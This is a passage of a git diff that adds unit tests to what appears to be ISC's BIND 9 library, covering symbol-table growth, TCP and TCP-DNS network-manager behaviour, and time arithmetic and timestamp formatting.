+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/symtab.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+static void
+undefine(char *key, unsigned int type, isc_symvalue_t value, void *arg) {
+	UNUSED(arg);
+
+	assert_int_equal(type, 1);
+	isc_mem_free(mctx, key);
+	isc_mem_free(mctx, value.as_pointer);
+}
+
+/* test symbol table growth */
+ISC_RUN_TEST_IMPL(symtab_grow) {
+	isc_result_t result;
+	isc_symtab_t *st = NULL;
+	isc_symvalue_t value;
+	isc_symexists_t policy = isc_symexists_reject;
+	int i;
+
+	UNUSED(state);
+
+	result = isc_symtab_create(mctx, 3, undefine, NULL, false, &st);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(st);
+
+	/* Nothing should be in the table yet */
+
+	/*
+	 * Put 1024 entries in the table (this should necessate
+	 * regrowing the hash table several times
+	 */
+	for (i = 0; i < 1024; i++) {
+		char str[16], *key;
+
+		snprintf(str, sizeof(str), "%04x", i);
+		key = isc_mem_strdup(mctx, str);
+		assert_non_null(key);
+		value.as_pointer = isc_mem_strdup(mctx, str);
+		assert_non_null(value.as_pointer);
+		result = isc_symtab_define(st, key, 1, value, policy);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		if (result != ISC_R_SUCCESS) {
+			undefine(key, 1, value, NULL);
+		}
+	}
+
+	/*
+	 * Try to put them in again; this should fail
+	 */
+	for (i = 0; i < 1024; i++) {
+		char str[16], *key;
+
+		snprintf(str, sizeof(str), "%04x", i);
+		key = isc_mem_strdup(mctx, str);
+		assert_non_null(key);
+		value.as_pointer = isc_mem_strdup(mctx, str);
+		assert_non_null(value.as_pointer);
+		result = isc_symtab_define(st, key, 1, value, policy);
+		assert_int_equal(result, ISC_R_EXISTS);
+		undefine(key, 1, value, NULL);
+	}
+
+	/*
+	 * Retrieve them; this should succeed
+	 */
+	for (i = 0; i < 1024; i++) {
+		char str[16];
+
+		snprintf(str, sizeof(str), "%04x", i);
+		result = isc_symtab_lookup(st, str, 0, &value);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		assert_string_equal(str, (char *)value.as_pointer);
+	}
+
+	/*
+	 * Undefine them
+	 */
+	for (i = 0; i < 1024; i++) {
+		char str[16];
+
+		snprintf(str, sizeof(str), "%04x", i);
+		result = isc_symtab_undefine(st, str, 1);
+		assert_int_equal(result, ISC_R_SUCCESS);
+	}
+
+	/*
+	 * Retrieve them again; this should fail
+	 */
+	for (i = 0; i < 1024; i++) {
+		char str[16];
+
+		snprintf(str, sizeof(str), "%04x", i);
+		result = isc_symtab_lookup(st, str, 0, &value);
+		assert_int_equal(result, ISC_R_NOTFOUND);
+	}
+
+	isc_symtab_destroy(&st);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(symtab_grow)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/tcp_test.c b/tests/isc/tcp_test.c
new file mode 100644
index 0000000000..79c8505086
--- /dev/null
+++ b/tests/isc/tcp_test.c
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/loop.h>
+#include <isc/nonce.h>
+#include <isc/os.h>
+#include <isc/quota.h>
+#include <isc/refcount.h>
+#include <isc/sockaddr.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+#include "uv_wrap.h"
+#define KEEP_BEFORE
+
+#include "netmgr/tcp.c"
+#include "netmgr_common.h"
+
+#include <tests/isc.h>
+
+/* TCP */
+ISC_LOOP_TEST_IMPL(tcp_noop) {
+	stream_noop(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tcp_noresponse) {
+	stream_noresponse(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tcp_shutdownconnect) {
+	stream_shutdownconnect(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tcp_shutdownread) {
+	stream_shutdownread(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tcp_timeout_recovery) {
+	stream_timeout_recovery(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tcp_recv_one) {
+	stream_recv_one(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tcp_recv_two) {
+	stream_recv_two(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tcp_recv_send) {
+	stream_recv_send(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tcp_recv_send_sendback) {
+	allow_send_back = true;
+	stream_recv_send(arg);
+	return;
+}
+
+/* TCP Quota */
+
+ISC_LOOP_TEST_IMPL(tcp_recv_one_quota) {
+	atomic_store(&check_listener_quota, true);
+	stream_recv_one(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tcp_recv_two_quota) {
+	atomic_store(&check_listener_quota, true);
+	stream_recv_two(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tcp_recv_send_quota) {
+	atomic_store(&check_listener_quota, true);
+	stream_recv_send(arg);
+}
+
+ISC_LOOP_TEST_IMPL(tcp_recv_send_quota_sendback) {
+	atomic_store(&check_listener_quota, true);
+	allow_send_back = true;
+	stream_recv_send(arg);
+}
+
+ISC_TEST_LIST_START
+
+/* TCP */
+ISC_TEST_ENTRY_CUSTOM(tcp_noop, stream_noop_setup, stream_noop_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_noresponse, stream_noresponse_setup,
+		      stream_noresponse_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_shutdownconnect, stream_shutdownconnect_setup,
+		      stream_shutdownconnect_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_shutdownread, stream_shutdownread_setup,
+		      stream_shutdownread_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_timeout_recovery, stream_timeout_recovery_setup,
+		      stream_timeout_recovery_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_recv_one, stream_recv_one_setup,
+		      stream_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_recv_two, stream_recv_two_setup,
+		      stream_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_recv_send, stream_recv_send_setup,
+		      stream_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_recv_send_sendback, stream_recv_send_setup,
+		      stream_recv_send_teardown)
+
+/* TCP Quota */
+ISC_TEST_ENTRY_CUSTOM(tcp_recv_one_quota, stream_recv_one_setup,
+		      stream_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_recv_two_quota, stream_recv_two_setup,
+		      stream_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_recv_send_quota, stream_recv_send_setup,
+		      stream_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcp_recv_send_quota_sendback, stream_recv_send_setup,
+		      stream_recv_send_teardown)
+
+ISC_TEST_LIST_END
+
+static int
+tcp_setup(void **state ISC_ATTR_UNUSED) {
+	stream_port = TCP_TEST_PORT;
+	stream_use_TLS = false;
+	stream = true;
+
+	return (0);
+}
+
+ISC_TEST_MAIN_CUSTOM(tcp_setup, NULL)
diff --git a/tests/isc/tcpdns_test.c b/tests/isc/tcpdns_test.c
new file mode 100644
index 0000000000..058f101727
--- /dev/null
+++ b/tests/isc/tcpdns_test.c
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/async.h>
+#include <isc/loop.h>
+#include <isc/nonce.h>
+#include <isc/os.h>
+#include <isc/quota.h>
+#include <isc/refcount.h>
+#include <isc/sockaddr.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+#include "uv_wrap.h"
+#define KEEP_BEFORE
+
+#include "netmgr_common.h"
+
+#include <tests/isc.h>
+
+/* TCPDNS */
+
+static void
+start_listening(uint32_t nworkers, isc_nm_accept_cb_t accept_cb,
+		isc_nm_recv_cb_t recv_cb) {
+	isc_result_t result = isc_nm_listenstreamdns(
+		listen_nm, nworkers, &tcp_listen_addr, recv_cb, NULL, accept_cb,
+		NULL, 128, NULL, NULL, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+}
+
+static void
+tcpdns_connect(isc_nm_t *nm) {
+	isc_nm_streamdnsconnect(nm, &tcp_connect_addr, &tcp_listen_addr,
+				connect_connect_cb, tcpdns_connect, T_CONNECT,
+				NULL, NULL);
+}
+
+ISC_LOOP_TEST_IMPL(tcpdns_noop) {
+	start_listening(ISC_NM_LISTEN_ONE, noop_accept_cb, noop_recv_cb);
+
+	connect_readcb = NULL;
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_streamdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
+				connect_success_cb, tcpdns_connect, T_CONNECT,
+				NULL, NULL);
+}
+
+ISC_LOOP_TEST_IMPL(tcpdns_noresponse) {
+	start_listening(ISC_NM_LISTEN_ALL, noop_accept_cb, noop_recv_cb);
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_streamdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
+				connect_connect_cb, tcpdns_connect, T_CONNECT,
+				NULL, NULL);
+}
+
+ISC_LOOP_TEST_IMPL(tcpdns_timeout_recovery) {
+	/*
+	 * Accept connections but don't send responses, forcing client
+	 * reads to time out.
+	 */
+	noanswer = true;
+	start_listening(ISC_NM_LISTEN_ONE, listen_accept_cb, listen_read_cb);
+
+	/*
+	 * Shorten all the TCP client timeouts to 0.05 seconds, connect,
+	 * then sleep for at least a second for each 'tick'.
+	 * timeout_retry_cb() will give up after five timeouts.
+	 */
+	connect_readcb = timeout_retry_cb;
+	isc_nm_settimeouts(connect_nm, T_SOFT, T_SOFT, T_SOFT, T_SOFT);
+
+	isc_async_current(loopmgr, stream_recv_send_connect, tcpdns_connect);
+}
+
+ISC_LOOP_TEST_IMPL(tcpdns_recv_one) {
+	start_listening(ISC_NM_LISTEN_ONE, listen_accept_cb, listen_read_cb);
+
+	isc_async_current(loopmgr, stream_recv_send_connect, tcpdns_connect);
+}
+
+ISC_LOOP_TEST_IMPL(tcpdns_recv_two) {
+	start_listening(ISC_NM_LISTEN_ONE, listen_accept_cb, listen_read_cb);
+
+	isc_async_current(loopmgr, stream_recv_send_connect, tcpdns_connect);
+
+	isc_async_current(loopmgr, stream_recv_send_connect, tcpdns_connect);
+}
+
+ISC_LOOP_TEST_IMPL(tcpdns_recv_send) {
+	start_listening(ISC_NM_LISTEN_ALL, listen_accept_cb, listen_read_cb);
+
+	for (size_t i = 0; i < workers; i++) {
+		isc_async_run(isc_loop_get(loopmgr, i),
+			      stream_recv_send_connect, tcpdns_connect);
+	}
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY_CUSTOM(tcpdns_noop, stream_noop_setup, stream_noop_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcpdns_noresponse, stream_noresponse_setup,
+		      stream_noresponse_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcpdns_timeout_recovery, stream_timeout_recovery_setup,
+		      stream_timeout_recovery_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcpdns_recv_one, stream_recv_one_setup,
+		      stream_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcpdns_recv_two, stream_recv_two_setup,
+		      stream_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(tcpdns_recv_send, stream_recv_send_setup,
+		      stream_recv_send_teardown)
+
+ISC_TEST_LIST_END
+
+static int
+tcpdns_setup(void **state ISC_ATTR_UNUSED) {
+	stream_port = TCPDNS_TEST_PORT;
+
+	return (0);
+}
+
+ISC_TEST_MAIN_CUSTOM(tcpdns_setup, NULL)
diff --git a/lib/isc/tests/testdata/file/keep b/tests/isc/testdata/file/keep
similarity index 100%
rename from lib/isc/tests/testdata/file/keep
rename to tests/isc/testdata/file/keep
diff --git a/tests/isc/time_test.c b/tests/isc/time_test.c
new file mode 100644
index 0000000000..18b42e5098
--- /dev/null
+++ b/tests/isc/time_test.c
@@ -0,0 +1,403 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/result.h>
+#include <isc/time.h>
+#include <isc/util.h>
+
+#include "time.c"
+
+#include <tests/isc.h>
+
+#define MAX_NS (NS_PER_SEC - 1)
+
+struct time_vectors {
+	isc_time_t a;
+	isc_interval_t b;
+	isc_time_t r;
+	isc_result_t result;
+};
+
+const struct time_vectors vectors_add[8] = {
+	{ { 0, 0 }, { 0, 0 }, { 0, 0 }, ISC_R_SUCCESS },
+	{ { 0, MAX_NS }, { 0, MAX_NS }, { 1, MAX_NS - 1 }, ISC_R_SUCCESS },
+	{ { 0, NS_PER_SEC / 2 },
+	  { 0, NS_PER_SEC / 2 },
+	  { 1, 0 },
+	  ISC_R_SUCCESS },
+	{ { UINT_MAX, MAX_NS }, { 0, 0 }, { UINT_MAX, MAX_NS }, ISC_R_SUCCESS },
+	{ { UINT_MAX, 0 }, { 0, MAX_NS }, { UINT_MAX, MAX_NS }, ISC_R_SUCCESS },
+	{ { UINT_MAX, 0 }, { 1, 0 }, { 0, 0 }, ISC_R_RANGE },
+	{ { UINT_MAX, MAX_NS }, { 0, 1 }, { 0, 0 }, ISC_R_RANGE },
+	{ { UINT_MAX / 2 + 1, NS_PER_SEC / 2 },
+	  { UINT_MAX / 2, NS_PER_SEC / 2 },
+	  { 0, 0 },
+	  ISC_R_RANGE },
+};
+
+const struct time_vectors vectors_sub[7] = {
+	{ { 0, 0 }, { 0, 0 }, { 0, 0 }, ISC_R_SUCCESS },
+	{ { 1, 0 }, { 0, MAX_NS }, { 0, 1 }, ISC_R_SUCCESS },
+	{ { 1, NS_PER_SEC / 2 },
+	  { 0, MAX_NS },
+	  { 0, NS_PER_SEC / 2 + 1 },
+	  ISC_R_SUCCESS },
+	{ { UINT_MAX, MAX_NS }, { UINT_MAX, 0 }, { 0, MAX_NS }, ISC_R_SUCCESS },
+	{ { 0, 0 }, { 1, 0 }, { 0, 0 }, ISC_R_RANGE },
+	{ { 0, 0 }, { 0, MAX_NS }, { 0, 0 }, ISC_R_RANGE },
+};
+
+ISC_RUN_TEST_IMPL(isc_time_add_test) {
+	UNUSED(state);
+
+	for (size_t i = 0; i < ARRAY_SIZE(vectors_add); i++) {
+		isc_time_t r = { UINT_MAX, UINT_MAX };
+		isc_result_t result = isc_time_add(&(vectors_add[i].a),
+						   &(vectors_add[i].b), &r);
+		assert_int_equal(result, vectors_add[i].result);
+		if (result != ISC_R_SUCCESS) {
+			continue;
+		}
+
+		assert_int_equal(r.seconds, vectors_add[i].r.seconds);
+		assert_int_equal(r.nanoseconds, vectors_add[i].r.nanoseconds);
+	}
+
+	expect_assert_failure((void)isc_time_add(&(isc_time_t){ 0, MAX_NS + 1 },
+						 &(isc_interval_t){ 0, 0 },
+						 &(isc_time_t){ 0, 0 }));
+	expect_assert_failure((void)isc_time_add(
+		&(isc_time_t){ 0, 0 }, &(isc_interval_t){ 0, MAX_NS + 1 },
+		&(isc_time_t){ 0, 0 }));
+
+	expect_assert_failure((void)isc_time_add((isc_time_t *)NULL,
+						 &(isc_interval_t){ 0, 0 },
+						 &(isc_time_t){ 0, 0 }));
+	expect_assert_failure((void)isc_time_add(&(isc_time_t){ 0, 0 },
+						 (isc_interval_t *)NULL,
+						 &(isc_time_t){ 0, 0 }));
+	expect_assert_failure((void)isc_time_add(
+		&(isc_time_t){ 0, 0 }, &(isc_interval_t){ 0, 0 }, NULL));
+}
+
+ISC_RUN_TEST_IMPL(isc_time_sub_test) {
+	UNUSED(state);
+
+	for (size_t i = 0; i < ARRAY_SIZE(vectors_sub); i++) {
+		isc_time_t r = { UINT_MAX, UINT_MAX };
+		isc_result_t result = isc_time_subtract(
+			&(vectors_sub[i].a), &(vectors_sub[i].b), &r);
+		assert_int_equal(result, vectors_sub[i].result);
+		if (result != ISC_R_SUCCESS) {
+			continue;
+		}
+		assert_int_equal(r.seconds, vectors_sub[i].r.seconds);
+		assert_int_equal(r.nanoseconds, vectors_sub[i].r.nanoseconds);
+	}
+
+	expect_assert_failure((void)isc_time_subtract(
+		&(isc_time_t){ 0, MAX_NS + 1 }, &(isc_interval_t){ 0, 0 },
+		&(isc_time_t){ 0, 0 }));
+	expect_assert_failure((void)isc_time_subtract(
+		&(isc_time_t){ 0, 0 }, &(isc_interval_t){ 0, MAX_NS + 1 },
+		&(isc_time_t){ 0, 0 }));
+
+	expect_assert_failure((void)isc_time_subtract((isc_time_t *)NULL,
+						      &(isc_interval_t){ 0, 0 },
+						      &(isc_time_t){ 0, 0 }));
+	expect_assert_failure((void)isc_time_subtract(&(isc_time_t){ 0, 0 },
+						      (isc_interval_t *)NULL,
+						      &(isc_time_t){ 0, 0 }));
+	expect_assert_failure((void)isc_time_subtract(
+		&(isc_time_t){ 0, 0 }, &(isc_interval_t){ 0, 0 }, NULL));
+}
+
+/* parse http time stamp */
+
+ISC_RUN_TEST_IMPL(isc_time_parsehttptimestamp_test) {
+	isc_result_t result;
+	isc_time_t t, x;
+	char buf[ISC_FORMATHTTPTIMESTAMP_SIZE];
+
+	UNUSED(state);
+
+	setenv("TZ", "America/Los_Angeles", 1);
+	t = isc_time_now();
+
+	isc_time_formathttptimestamp(&t, buf, sizeof(buf));
+	result = isc_time_parsehttptimestamp(buf, &x);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(isc_time_seconds(&t), isc_time_seconds(&x));
+}
+
+/* print UTC in ISO8601 */
+
+ISC_RUN_TEST_IMPL(isc_time_formatISO8601_test) {
+	isc_time_t t;
+	char buf[64];
+
+	UNUSED(state);
+
+	setenv("TZ", "America/Los_Angeles", 1);
+	t = isc_time_now();
+
+	/* check formatting: yyyy-mm-ddThh:mm:ssZ */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_formatISO8601(&t, buf, sizeof(buf));
+	assert_int_equal(strlen(buf), 20);
+	assert_int_equal(buf[4], '-');
+	assert_int_equal(buf[7], '-');
+	assert_int_equal(buf[10], 'T');
+	assert_int_equal(buf[13], ':');
+	assert_int_equal(buf[16], ':');
+	assert_int_equal(buf[19], 'Z');
+
+	/* check time conversion correctness */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_settoepoch(&t);
+	isc_time_formatISO8601(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "1970-01-01T00:00:00Z");
+
+	memset(buf, 'X', sizeof(buf));
+	isc_time_set(&t, 1450000000, 123000000);
+	isc_time_formatISO8601(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "2015-12-13T09:46:40Z");
+}
+
+/* print UTC in ISO8601 with milliseconds */
+
+ISC_RUN_TEST_IMPL(isc_time_formatISO8601ms_test) {
+	isc_time_t t;
+	char buf[64];
+
+	UNUSED(state);
+
+	setenv("TZ", "America/Los_Angeles", 1);
+	t = isc_time_now();
+
+	/* check formatting: yyyy-mm-ddThh:mm:ss.sssZ */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_formatISO8601ms(&t, buf, sizeof(buf));
+	assert_int_equal(strlen(buf), 24);
+	assert_int_equal(buf[4], '-');
+	assert_int_equal(buf[7], '-');
+	assert_int_equal(buf[10], 'T');
+	assert_int_equal(buf[13], ':');
+	assert_int_equal(buf[16], ':');
+	assert_int_equal(buf[19], '.');
+	assert_int_equal(buf[23], 'Z');
+
+	/* check time conversion correctness */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_settoepoch(&t);
+	isc_time_formatISO8601ms(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "1970-01-01T00:00:00.000Z");
+
+	memset(buf, 'X', sizeof(buf));
+	isc_time_set(&t, 1450000000, 123000000);
+	isc_time_formatISO8601ms(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "2015-12-13T09:46:40.123Z");
+}
+
+/* print UTC in ISO8601 with microseconds */
+
+ISC_RUN_TEST_IMPL(isc_time_formatISO8601us_test) {
+	isc_time_t t;
+	char buf[64];
+
+	UNUSED(state);
+
+	setenv("TZ", "America/Los_Angeles", 1);
+	t = isc_time_now_hires();
+
+	/* check formatting: yyyy-mm-ddThh:mm:ss.ssssssZ */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_formatISO8601us(&t, buf, sizeof(buf));
+	assert_int_equal(strlen(buf), 27);
+	assert_int_equal(buf[4], '-');
+	assert_int_equal(buf[7], '-');
+	assert_int_equal(buf[10], 'T');
+	assert_int_equal(buf[13], ':');
+	assert_int_equal(buf[16], ':');
+	assert_int_equal(buf[19], '.');
+	assert_int_equal(buf[26], 'Z');
+
+	/* check time conversion correctness */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_settoepoch(&t);
+	isc_time_formatISO8601us(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "1970-01-01T00:00:00.000000Z");
+
+	memset(buf, 'X', sizeof(buf));
+	isc_time_set(&t, 1450000000, 123456000);
+	isc_time_formatISO8601us(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "2015-12-13T09:46:40.123456Z");
+}
+
+/* print local time in ISO8601 */
+
+ISC_RUN_TEST_IMPL(isc_time_formatISO8601L_test) {
+	isc_time_t t;
+	char buf[64];
+
+	UNUSED(state);
+
+	setenv("TZ", "America/Los_Angeles", 1);
+	t = isc_time_now();
+
+	/* check formatting: yyyy-mm-ddThh:mm:ss */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_formatISO8601L(&t, buf, sizeof(buf));
+	assert_int_equal(strlen(buf), 19);
+	assert_int_equal(buf[4], '-');
+	assert_int_equal(buf[7], '-');
+	assert_int_equal(buf[10], 'T');
+	assert_int_equal(buf[13], ':');
+	assert_int_equal(buf[16], ':');
+
+	/* check time conversion correctness */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_settoepoch(&t);
+	isc_time_formatISO8601L(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "1969-12-31T16:00:00");
+
+	memset(buf, 'X', sizeof(buf));
+	isc_time_set(&t, 1450000000, 123000000);
+	isc_time_formatISO8601L(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "2015-12-13T01:46:40");
+}
+
+/* print local time in ISO8601 with milliseconds */
+
+ISC_RUN_TEST_IMPL(isc_time_formatISO8601Lms_test) {
+	isc_time_t t;
+	char buf[64];
+
+	UNUSED(state);
+
+	setenv("TZ", "America/Los_Angeles", 1);
+	t = isc_time_now();
+
+	/* check formatting: yyyy-mm-ddThh:mm:ss.sss */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_formatISO8601Lms(&t, buf, sizeof(buf));
+	assert_int_equal(strlen(buf), 23);
+	assert_int_equal(buf[4], '-');
+	assert_int_equal(buf[7], '-');
+	assert_int_equal(buf[10], 'T');
+	assert_int_equal(buf[13], ':');
+	assert_int_equal(buf[16], ':');
+	assert_int_equal(buf[19], '.');
+
+	/* check time conversion correctness */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_settoepoch(&t);
+	isc_time_formatISO8601Lms(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "1969-12-31T16:00:00.000");
+
+	memset(buf, 'X', sizeof(buf));
+	isc_time_set(&t, 1450000000, 123000000);
+	isc_time_formatISO8601Lms(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "2015-12-13T01:46:40.123");
+}
+
+/* print local time in ISO8601 with microseconds */
+
+ISC_RUN_TEST_IMPL(isc_time_formatISO8601Lus_test) {
+	isc_time_t t;
+	char buf[64];
+
+	UNUSED(state);
+
+	setenv("TZ", "America/Los_Angeles", 1);
+	t = isc_time_now_hires();
+
+	/* check formatting: yyyy-mm-ddThh:mm:ss.ssssss */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_formatISO8601Lus(&t, buf, sizeof(buf));
+	assert_int_equal(strlen(buf), 26);
+	assert_int_equal(buf[4], '-');
+	assert_int_equal(buf[7], '-');
+	assert_int_equal(buf[10], 'T');
+	assert_int_equal(buf[13], ':');
+	assert_int_equal(buf[16], ':');
+	assert_int_equal(buf[19], '.');
+
+	/* check time conversion correctness */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_settoepoch(&t);
+	isc_time_formatISO8601Lus(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "1969-12-31T16:00:00.000000");
+
+	memset(buf, 'X', sizeof(buf));
+	isc_time_set(&t, 1450000000, 123456000);
+	isc_time_formatISO8601Lus(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "2015-12-13T01:46:40.123456");
+}
+
+/* print UTC time as yyyymmddhhmmsssss */
+
+ISC_RUN_TEST_IMPL(isc_time_formatshorttimestamp_test) {
+	isc_time_t t;
+	char buf[64];
+
+	UNUSED(state);
+
+	setenv("TZ", "America/Los_Angeles", 1);
+	t = isc_time_now();
+
+	/* check formatting: yyyymmddhhmmsssss */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_formatshorttimestamp(&t, buf, sizeof(buf));
+	assert_int_equal(strlen(buf), 17);
+
+	/* check time conversion correctness */
+	memset(buf, 'X', sizeof(buf));
+	isc_time_settoepoch(&t);
+	isc_time_formatshorttimestamp(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "19700101000000000");
+
+	memset(buf, 'X', sizeof(buf));
+	isc_time_set(&t, 1450000000, 123000000);
+	isc_time_formatshorttimestamp(&t, buf, sizeof(buf));
+	assert_string_equal(buf, "20151213094640123");
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_time_add_test)
+ISC_TEST_ENTRY(isc_time_sub_test)
+ISC_TEST_ENTRY(isc_time_parsehttptimestamp_test)
+ISC_TEST_ENTRY(isc_time_formatISO8601_test)
+ISC_TEST_ENTRY(isc_time_formatISO8601ms_test)
+ISC_TEST_ENTRY(isc_time_formatISO8601us_test)
+ISC_TEST_ENTRY(isc_time_formatISO8601L_test)
+ISC_TEST_ENTRY(isc_time_formatISO8601Lms_test)
+ISC_TEST_ENTRY(isc_time_formatISO8601Lus_test)
+ISC_TEST_ENTRY(isc_time_formatshorttimestamp_test)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/timer_test.c b/tests/isc/timer_test.c
new file mode 100644
index 0000000000..e0a1b15473
--- /dev/null
+++ b/tests/isc/timer_test.c
@@ -0,0 +1,537 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/atomic.h>
+#include <isc/commandline.h>
+#include <isc/condition.h>
+#include <isc/job.h>
+#include <isc/loop.h>
+#include <isc/mem.h>
+#include <isc/os.h>
+#include <isc/time.h>
